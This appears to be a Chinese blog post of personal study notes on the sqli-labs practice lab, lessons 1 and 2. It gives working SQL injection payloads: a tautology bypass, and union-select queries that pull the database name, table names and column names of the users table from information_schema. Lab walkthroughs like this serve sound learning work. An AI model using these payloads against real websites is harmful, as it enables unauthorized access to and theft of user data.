sqli-labs学习笔记

less1

入门感知篇,若尝试万能密码格式,得到结果如下

?id=3' or '1=1 --+

在这里插入图片描述

教程有过提示,比较恒为真语句与假语句的结果有无区别

?id=3' and '1=2 --+

在这里插入图片描述

??这是得到了用户和密码么?换了不同的id值,得到的就是不同的用户和密码了

尝试其他语句

数据库名

?id=-1' union select 1,2,database() --+

同样根据教程,得到结果,正是数据库名。

在这里插入图片描述

这个语句是什么意思呢?

  • 显然id=-1一般是不存在的,因实际显示的union后的数据
  • database()是内置函数,用来显示当前使用数据库
  • 因为union需要保证列数一致,因此需要填充为合适的列数(试出来吗?)
  • 后面的–就是注释后面的语句

在这里插入图片描述

表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

group_concat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。

在这里插入图片描述

在information_schema中存放的正是各表的数据

在这里插入图片描述

这里得到的就是当前数据库的所有表名

在这里插入图片描述

获取用户名和密码信息

通过上述类似原理获取users表中的列名

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
在这里插入图片描述

less2

只需把less1中的单引号去掉即可获得所需数据

Leave a comment

Your email address will not be published. Required fields are marked *